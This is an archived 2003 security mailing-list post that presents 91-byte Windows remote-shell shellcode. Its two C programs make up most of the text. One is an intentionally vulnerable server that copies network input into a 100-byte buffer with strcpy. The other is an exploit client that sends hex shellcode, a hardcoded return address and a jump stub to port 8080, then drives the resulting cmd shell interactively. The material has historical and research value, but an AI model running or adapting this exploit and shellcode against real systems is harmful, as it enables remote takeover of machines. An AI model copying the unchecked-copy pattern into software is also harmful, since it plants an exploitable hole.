Advances in windows shellcode are few and far between. Papers exist detailing the process using anonymous pipes and examples exist showing how to use a socket directly as the handle for stdin, stdout and stderr. RVA techniques can be used to write code that will run regardless of service pack, and there is not often times when shellcode space is extremely limited so we should be happy with universal remote callback shellcode of ~300 bytes. David Litchfield's post regarding using a socket as a handle included a statement: "If you hard code addresses ..... you can get the exploit code down to 160 bytes" Which got me to thinking of how to write smaller remote callback shellcode. What evolved was an idea, and then shellcode which sends a remote shell back, uses only 2 api calls, and is only 91 bytes in size. It does have limited uses, has hardcoded address for SP3, messy, could be refined but should provoke some interesting thought tangents. The code is not commented, is not at all user friendly, and to cut the size of the post is ill formated, but those who seek the answer should be able to get it work. And now I go on holiday, my byte sequence patent should be ready for filing by the time I get back ;) **************************************************************************** ************** * * server.c - Proof Of Concept Exploitable Server */ #include <stdio.h> #include <winsock2.h> unsigned int resolve(char *name) { struct hostent *he; unsigned int ip; if((ip=inet_addr(name))==(-1)) { if((he=gethostbyname(name))==0) return 0; memcpy(&ip,he->h_addr,4); } return ip; } int main(int argc,char *argv[]) { int s; int tsize; char smallbuf[100]; char buf[5000]; WSADATA WSAData; printf("Windows POC Shellcode Tester\n"); if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); } memset(buf,0x00,sizeof(buf)); memset(smallbuf,0x0,sizeof(buf)); printf("Ready?\n"); s= WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP,NULL, 0, 0); if(s<0) return -1; memset((char *)&target,0,sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = 0; target.sin_port = htons(8080); //HTTP if (bind(s, &target, sizeof(target)) == SOCKET_ERROR) { printf("Error: bind() failed.\n"); return -2; } printf("Listening\n"); if (listen(s, 2) == SOCKET_ERROR) { printf("Error: listen() failed.\n"); return -2; } printf("Waiting\n"); s = accept(s, NULL,NULL); printf("Receiving\n"); if (recv(s, buf, sizeof(buf),0) == SOCKET_ERROR) printf("Error: recv() failed.\n"); printf("strcpy\n"); strcpy(smallbuf,buf); printf("Closing?\n"); shutdown(s,2); closesocket(s); printf("done\n"); } **************************************************************************** ************** /* /* exploit.c Proof Of Concept Exploit */ #include <stdio.h> #include <winsock2.h> unsigned int resolve(char *name) { struct hostent *he; unsigned int ip; if((ip=inet_addr(name))==(-1)) { if((he=gethostbyname(name))==0) return 0; memcpy(&ip,he->h_addr,4); } return ip; } int main(int argc,char *argv[]) { int s; int acount; int bytes; int x; char buf[10000]; char buf2[10000]; char tbuf[1000]; char cmdbuf[100]; WSADATA WSAData; printf("Windows Remote Shell POC\n"); if (argc<2) { printf("usage: %s ip \n",argv[0]); return -1; } if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); } printf("Preparing Exploit Buffer\n"); memset(buf,0x00,sizeof(buf)); memset(buf2,0x00,sizeof(buf2)); strcat(buf2,"CMD.\x90"); strcat(buf2,"\x83\xeb\x04\x83\xec\x78\x80\x72\x03\x2e"); strcat(buf2,"\x33\xdb\x83\xc3\x10\x43\x53\x52\x8b\xfc"); strcat(buf2,"\x33\xc0\x33\xc9\xb1\x60\x50\xe2\xfd\x66"); strcat(buf2,"\xb8\x01\x01\x89\x44\x24\x2c\x83\xc4\x44"); strcat(buf2,"\x53\x53\x53\x83\xec\x38\x8b\xf4\x56\x56"); strcat(buf2,"\x51\x51\x51\x41\x51\x49\x51\x51\x52\x51"); strcat(buf2,"\xbb\x44\x9b\xe9\x77\xff\xd3\x5b\x33\xc9"); strcat(buf2,"\x49\x51\x53\xbb\x28\x78\xe8\x77\xff\xd3"); strcat(buf2,"\x8b\xe7\x5a\x5b\xeb\x00"); printf("Shellcode Size:%d bytes\n",strlen(buf2)); while (strlen(buf2) <100) { strcat(buf2,"\x90"); } strcat(buf,buf2); strcat(buf,"AAAABBBBCCCCDDDD"); strcat(buf,"\x57\x2d\xfd\x74"); strcat(buf,"\x8b\x54\x24\x50\x33\xf6\x81\xee\xbd\xb2\xbb\xd1\x4a\x39\x32\x75 \xfb\x83\xc2\x04\xff\xe2"); printf("Exploit Buffer Ready\n"); printf("Connecting\n"); s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1; memset((char *)&target,0,sizeof(target)); target.sin_family = AF_INET; target.sin_addr.s_addr = resolve(argv[1]); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; } target.sin_port = htons(8080); if (connect(s, &target, sizeof(target)) == SOCKET_ERROR) { printf("Error: connect() failed.\n"); return -2; } printf("Sending Exploit\n"); if (sendto(s, buf, strlen(buf)+ 1, 0, &target, sizeof(target)) == SOCKET_ERROR) printf("Error: sendto() failed.\n"); memset(buf,0x00,sizeof(buf)); printf("Exploit Sent\n"); x=1; ioctlsocket(s,FIONBIO,&x); while (x > 0){ memset(cmdbuf,0x00,sizeof(cmdbuf)); bytes = recv(s, cmdbuf, sizeof(cmdbuf)-1, 0); if (bytes > 0) { cmdbuf[bytes+1] =0x00; printf("%s",cmdbuf); while (recv(s, cmdbuf, sizeof(cmdbuf), MSG_PEEK) > 0) { memset(cmdbuf,0x00,sizeof(cmdbuf)); bytes = recv(s, cmdbuf, sizeof(cmdbuf)-1, 0); if (bytes > 0) { cmdbuf[bytes+1] =0x00; printf("%s",cmdbuf); } } memset(cmdbuf,0x00,sizeof(cmdbuf)); gets(cmdbuf); strcat(cmdbuf+strlen(cmdbuf),"\r\n"); send(s,cmdbuf,strlen(cmdbuf)+1,0); } } closesocket(s); } ---------------------------------------------------------------------------- This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: https://alerts.securityfocus.com/
This archive was generated by hypermail 2b30 : Wed Jan 01 2003 - 12:42:41 PST